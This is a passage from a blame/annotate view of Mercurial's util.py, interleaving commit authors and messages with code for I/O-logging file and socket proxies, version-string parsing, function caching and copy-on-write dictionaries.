Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
875 # characters are ints on Python 3. |
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
876 if isinstance(data, memoryview): |
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
877 data = data.tobytes() |
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
878 |
36630
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
879 self._writedata(data) |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
880 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
881 def write(self, res, data): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
882 if not self.writes: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
883 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
884 |
36631
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
885 # Python 2 returns None from some write() calls. Python 3 (reasonably) |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
886 # returns the integer bytes written. |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
887 if res is None and data: |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
888 res = len(data) |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
889 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
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parents:
37010
diff
changeset
|
890 if self.logdataapis: |
43077
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parents:
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diff
changeset
|
891 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res)) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
892 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
893 self._writedata(data) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
894 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
895 def flush(self, res): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
896 if not self.writes: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
897 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
898 |
43077
687b865b95ad
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parents:
43076
diff
changeset
|
899 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res)) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
900 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
901 # For observedbufferedinputpipe. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
902 def bufferedread(self, res, size): |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
903 if not self.reads: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
904 return |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
905 |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
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parents:
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diff
changeset
|
906 if self.logdataapis: |
43076
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parents:
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diff
changeset
|
907 self.fh.write( |
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Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
908 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res)) |
43076
2372284d9457
formatting: blacken the codebase
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parents:
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diff
changeset
|
909 ) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
910 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
911 self._writedata(res) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
912 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
913 def bufferedreadline(self, res): |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
914 if not self.reads: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
915 return |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
916 |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
917 if self.logdataapis: |
43076
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
918 self.fh.write( |
43077
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formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
919 b'%s> bufferedreadline() -> %d' % (self.name, len(res)) |
43076
2372284d9457
formatting: blacken the codebase
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parents:
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diff
changeset
|
920 ) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
921 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
922 self._writedata(res) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
923 |
43076
2372284d9457
formatting: blacken the codebase
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diff
changeset
|
924 |
2372284d9457
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diff
changeset
|
925 def makeloggingfileobject( |
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changeset
|
926 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True |
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diff
changeset
|
927 ): |
36524
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util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
928 """Turn a file object into a logging file object.""" |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
929 |
43076
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|
930 observer = fileobjectobserver( |
2372284d9457
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parents:
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changeset
|
931 logh, |
2372284d9457
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parents:
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diff
changeset
|
932 name, |
2372284d9457
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parents:
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diff
changeset
|
933 reads=reads, |
2372284d9457
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changeset
|
934 writes=writes, |
2372284d9457
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parents:
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diff
changeset
|
935 logdata=logdata, |
2372284d9457
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parents:
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diff
changeset
|
936 logdataapis=logdataapis, |
2372284d9457
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parents:
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diff
changeset
|
937 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
938 return fileobjectproxy(fh, observer) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
939 |
43076
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parents:
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diff
changeset
|
940 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
941 class socketobserver(baseproxyobserver): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
942 """Logs socket activity.""" |
43076
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parents:
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changeset
|
943 |
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|
944 def __init__( |
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|
945 self, |
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|
946 fh, |
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changeset
|
947 name, |
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parents:
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diff
changeset
|
948 reads=True, |
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parents:
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changeset
|
949 writes=True, |
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parents:
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diff
changeset
|
950 states=True, |
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parents:
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changeset
|
951 logdata=False, |
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changeset
|
952 logdataapis=True, |
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parents:
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|
953 ): |
37010
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util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
954 self.fh = fh |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
955 self.name = name |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
956 self.reads = reads |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
957 self.writes = writes |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
958 self.states = states |
8453699a1f21
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959 self.logdata = logdata |
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960 self.logdataapis = logdataapis |
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|
961 |
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|
962 def makefile(self, res, mode=None, bufsize=None): |
8453699a1f21
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diff
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|
963 if not self.states: |
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|
964 return |
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|
965 |
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|
966 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize)) |
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967 |
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|
968 def recv(self, res, size, flags=0): |
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|
969 if not self.reads: |
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diff
changeset
|
970 return |
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|
971 |
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|
972 if self.logdataapis: |
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|
973 self.fh.write( |
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974 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res)) |
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|
975 ) |
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|
976 self._writedata(res) |
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diff
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|
977 |
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|
978 def recvfrom(self, res, size, flags=0): |
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|
979 if not self.reads: |
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|
980 return |
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|
981 |
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|
982 if self.logdataapis: |
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983 self.fh.write( |
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984 b'%s> recvfrom(%d, %d) -> %d' |
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985 % (self.name, size, flags, len(res[0])) |
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|
986 ) |
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|
987 |
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|
988 self._writedata(res[0]) |
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diff
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|
989 |
8453699a1f21
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diff
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|
990 def recvfrom_into(self, res, buf, size, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
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parents:
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diff
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|
991 if not self.reads: |
8453699a1f21
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diff
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|
992 return |
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diff
changeset
|
993 |
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|
994 if self.logdataapis: |
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|
995 self.fh.write( |
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|
996 b'%s> recvfrom_into(%d, %d) -> %d' |
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997 % (self.name, size, flags, res[0]) |
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998 ) |
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999 |
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1000 self._writedata(buf[0 : res[0]]) |
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diff
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|
1001 |
8453699a1f21
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|
1002 def recv_into(self, res, buf, size=0, flags=0): |
8453699a1f21
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diff
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|
1003 if not self.reads: |
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|
1004 return |
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|
1005 |
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1006 if self.logdataapis: |
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1007 self.fh.write( |
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1008 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res) |
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1009 ) |
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1010 |
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1011 self._writedata(buf[0:res]) |
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|
1012 |
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1013 def send(self, res, data, flags=0): |
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1014 if not self.writes: |
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|
1015 return |
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|
1016 |
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1017 self.fh.write( |
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1018 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res)) |
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1019 ) |
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|
1020 self._writedata(data) |
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|
1021 |
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|
1022 def sendall(self, res, data, flags=0): |
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|
1023 if not self.writes: |
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diff
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|
1024 return |
8453699a1f21
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|
1025 |
37044
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|
1026 if self.logdataapis: |
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|
1027 # Returns None on success. So don't bother reporting return value. |
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1028 self.fh.write( |
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|
1029 b'%s> sendall(%d, %d)' % (self.name, len(data), flags) |
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1030 ) |
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|
1031 |
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changeset
|
1032 self._writedata(data) |
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|
1033 |
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diff
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|
1034 def sendto(self, res, data, flagsoraddress, address=None): |
8453699a1f21
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diff
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|
1035 if not self.writes: |
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diff
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|
1036 return |
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diff
changeset
|
1037 |
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diff
changeset
|
1038 if address: |
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diff
changeset
|
1039 flags = flagsoraddress |
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diff
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|
1040 else: |
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diff
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|
1041 flags = 0 |
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|
1042 |
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1043 if self.logdataapis: |
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1044 self.fh.write( |
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|
1045 b'%s> sendto(%d, %d, %r) -> %d' |
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|
1046 % (self.name, len(data), flags, address, res) |
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1047 ) |
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|
1048 |
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changeset
|
1049 self._writedata(data) |
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diff
changeset
|
1050 |
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diff
changeset
|
1051 def setblocking(self, res, flag): |
8453699a1f21
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diff
changeset
|
1052 if not self.states: |
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parents:
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diff
changeset
|
1053 return |
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diff
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|
1054 |
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|
1055 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag)) |
37010
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diff
changeset
|
1056 |
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diff
changeset
|
1057 def settimeout(self, res, value): |
8453699a1f21
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diff
changeset
|
1058 if not self.states: |
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diff
changeset
|
1059 return |
8453699a1f21
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|
1060 |
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1061 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value)) |
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|
1062 |
8453699a1f21
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diff
changeset
|
1063 def gettimeout(self, res): |
8453699a1f21
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changeset
|
1064 if not self.states: |
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changeset
|
1065 return |
8453699a1f21
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|
1066 |
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1067 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res)) |
37010
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|
1068 |
39060
ed8160e4fea0
util: fix signature of setsockopt in socket observer
Augie Fackler <augie@google.com>
parents:
38812
diff
changeset
|
1069 def setsockopt(self, res, level, optname, value): |
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diff
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|
1070 if not self.states: |
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diff
changeset
|
1071 return |
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|
1072 |
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|
1073 self.fh.write( |
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|
1074 b'%s> setsockopt(%r, %r, %r) -> %r\n' |
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|
1075 % (self.name, level, optname, value, res) |
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|
1076 ) |
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1077 |
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1078 |
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1079 def makeloggingsocket( |
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1080 logh, |
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1081 fh, |
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1082 name, |
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1083 reads=True, |
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1084 writes=True, |
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1085 states=True, |
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1086 logdata=False, |
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1087 logdataapis=True, |
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1088 ): |
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1089 """Turn a socket into a logging socket.""" |
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1090 |
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1091 observer = socketobserver( |
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1092 logh, |
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1093 name, |
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1094 reads=reads, |
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1095 writes=writes, |
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1096 states=states, |
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1097 logdata=logdata, |
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1098 logdataapis=logdataapis, |
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1099 ) |
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1100 return socketproxy(fh, observer) |
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1101 |
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1102 |
7632 | 1103 def version(): |
1104 """Return version information if available.""" | |
1105 try: | |
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1106 from . import __version__ |
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1107 |
7632 | 1108 return __version__.version |
1109 except ImportError: | |
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1110 return b'unknown' |
7632 | 1111 |
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1112 |
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1113 def versiontuple(v=None, n=4): |
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1114 """Parses a Mercurial version string into an N-tuple. |
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1115 |
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1116 The version string to be parsed is specified with the ``v`` argument. |
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1117 If it isn't defined, the current Mercurial version string will be parsed. |
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1118 |
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1119 ``n`` can be 2, 3, or 4. Here is how some version strings map to |
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1120 returned values: |
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1121 |
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1122 >>> v = b'3.6.1+190-df9b73d2d444' |
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1123 >>> versiontuple(v, 2) |
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1124 (3, 6) |
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1125 >>> versiontuple(v, 3) |
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1126 (3, 6, 1) |
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1127 >>> versiontuple(v, 4) |
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1128 (3, 6, 1, '190-df9b73d2d444') |
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1129 |
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1130 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') |
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1131 (3, 6, 1, '190-df9b73d2d444+20151118') |
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1132 |
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1133 >>> v = b'3.6' |
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1134 >>> versiontuple(v, 2) |
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1135 (3, 6) |
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1136 >>> versiontuple(v, 3) |
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1137 (3, 6, None) |
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1138 >>> versiontuple(v, 4) |
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1139 (3, 6, None, None) |
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1140 |
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1141 >>> v = b'3.9-rc' |
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1142 >>> versiontuple(v, 2) |
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1143 (3, 9) |
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1144 >>> versiontuple(v, 3) |
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1145 (3, 9, None) |
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1146 >>> versiontuple(v, 4) |
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1147 (3, 9, None, 'rc') |
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1148 |
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1149 >>> v = b'3.9-rc+2-02a8fea4289b' |
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1150 >>> versiontuple(v, 2) |
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1151 (3, 9) |
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1152 >>> versiontuple(v, 3) |
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1153 (3, 9, None) |
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1154 >>> versiontuple(v, 4) |
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1155 (3, 9, None, 'rc+2-02a8fea4289b') |
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1156 |
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1157 >>> versiontuple(b'4.6rc0') |
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1158 (4, 6, None, 'rc0') |
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1159 >>> versiontuple(b'4.6rc0+12-425d55e54f98') |
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1160 (4, 6, None, 'rc0+12-425d55e54f98') |
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1161 >>> versiontuple(b'.1.2.3') |
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1162 (None, None, None, '.1.2.3') |
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1163 >>> versiontuple(b'12.34..5') |
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1164 (12, 34, None, '..5') |
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1165 >>> versiontuple(b'1.2.3.4.5.6') |
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1166 (1, 2, 3, '.4.5.6') |
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1167 """ |
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1168 if not v: |
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1169 v = version() |
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1170 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v) |
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1171 if not m: |
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1172 vparts, extra = b'', v |
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1173 elif m.group(2): |
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1174 vparts, extra = m.groups() |
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1175 else: |
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1176 vparts, extra = m.group(1), None |
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1177 |
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1178 vints = [] |
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1179 for i in vparts.split(b'.'): |
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1180 try: |
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1181 vints.append(int(i)) |
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1182 except ValueError: |
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1183 break |
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1184 # (3, 6) -> (3, 6, None) |
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1185 while len(vints) < 3: |
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1186 vints.append(None) |
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1187 |
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1188 if n == 2: |
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1189 return (vints[0], vints[1]) |
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1190 if n == 3: |
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1191 return (vints[0], vints[1], vints[2]) |
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1192 if n == 4: |
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1193 return (vints[0], vints[1], vints[2], extra) |
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1194 |
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1195 |
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1196 def cachefunc(func): |
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1197 '''cache the result of function calls''' |
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1198 # XXX doesn't handle keywords args |
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util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
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|
1199 if func.__code__.co_argcount == 0: |
20835
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1200 cache = [] |
43076
2372284d9457
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1201 |
20835
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1202 def f(): |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1203 if len(cache) == 0: |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1204 cache.append(func()) |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1205 return cache[0] |
43076
2372284d9457
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1206 |
20835
0e8417131a29
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FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1207 return f |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1208 cache = {} |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
1209 if func.__code__.co_argcount == 1: |
3147
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
1210 # we gain a small amount of time because |
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
1211 # we don't need to pack/unpack the list |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1212 def f(arg): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1213 if arg not in cache: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1214 cache[arg] = func(arg) |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1215 return cache[arg] |
43076
2372284d9457
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1216 |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1217 else: |
43076
2372284d9457
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1218 |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1219 def f(*args): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1220 if args not in cache: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1221 cache[args] = func(*args) |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1222 return cache[args] |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1223 |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1224 return f |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1225 |
43076
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1226 |
34357
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1227 class cow(object): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1228 """helper class to make copy-on-write easier |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1229 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1230 Call preparewrite before doing any writes. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1231 """ |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1232 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1233 def preparewrite(self): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1234 """call this before writes, return self or a copied new object""" |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1235 if getattr(self, '_copied', 0): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1236 self._copied -= 1 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1237 return self.__class__(self) |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1238 return self |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1239 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1240 def copy(self): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1241 """always do a cheap copy""" |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1242 self._copied = getattr(self, '_copied', 0) + 1 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1243 return self |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1244 |
43076
2372284d9457
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1245 |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1246 class sortdict(collections.OrderedDict): |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1247 '''a simple sorted dictionary |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1248 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1249 >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1250 >>> d2 = d1.copy() |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1251 >>> d2 |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1252 sortdict([('a', 0), ('b', 1)]) |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1253 >>> d2.update([(b'a', 2)]) |
34139
be00af4a1ac5
doctest: coerce dict.keys() to list
Yuya Nishihara <yuya@tcha.org>
parents:
34137
diff
changeset
|
1254 >>> list(d2.keys()) # should still be in last-set order |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1255 ['b', 'a'] |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1256 ''' |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1257 |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1258 def __setitem__(self, key, value): |
21813
c2262004c2e2
config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
21046
diff
changeset
|
1259 if key in self: |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1260 del self[key] |
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1261 super(sortdict, self).__setitem__(key, value) |
21813
c2262004c2e2
config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
21046
diff
changeset
|
1262 |
33626
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1263 if pycompat.ispypy: |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1264 # __setitem__() isn't called as of PyPy 5.8.0 |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1265 def update(self, src): |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1266 if isinstance(src, dict): |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1267 src = src.iteritems() |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1268 for k, v in src: |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1269 self[k] = v |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1270 |
43076
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Augie Fackler <augie@google.com>
parents:
42766
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changeset
|
1271 |
34357
c41444a39de2
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1272 class cowdict(cow, dict): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1273 """copy-on-write dict |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1274 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1275 Be sure to call d = d.preparewrite() before writing to d. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1276 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1277 >>> a = cowdict() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
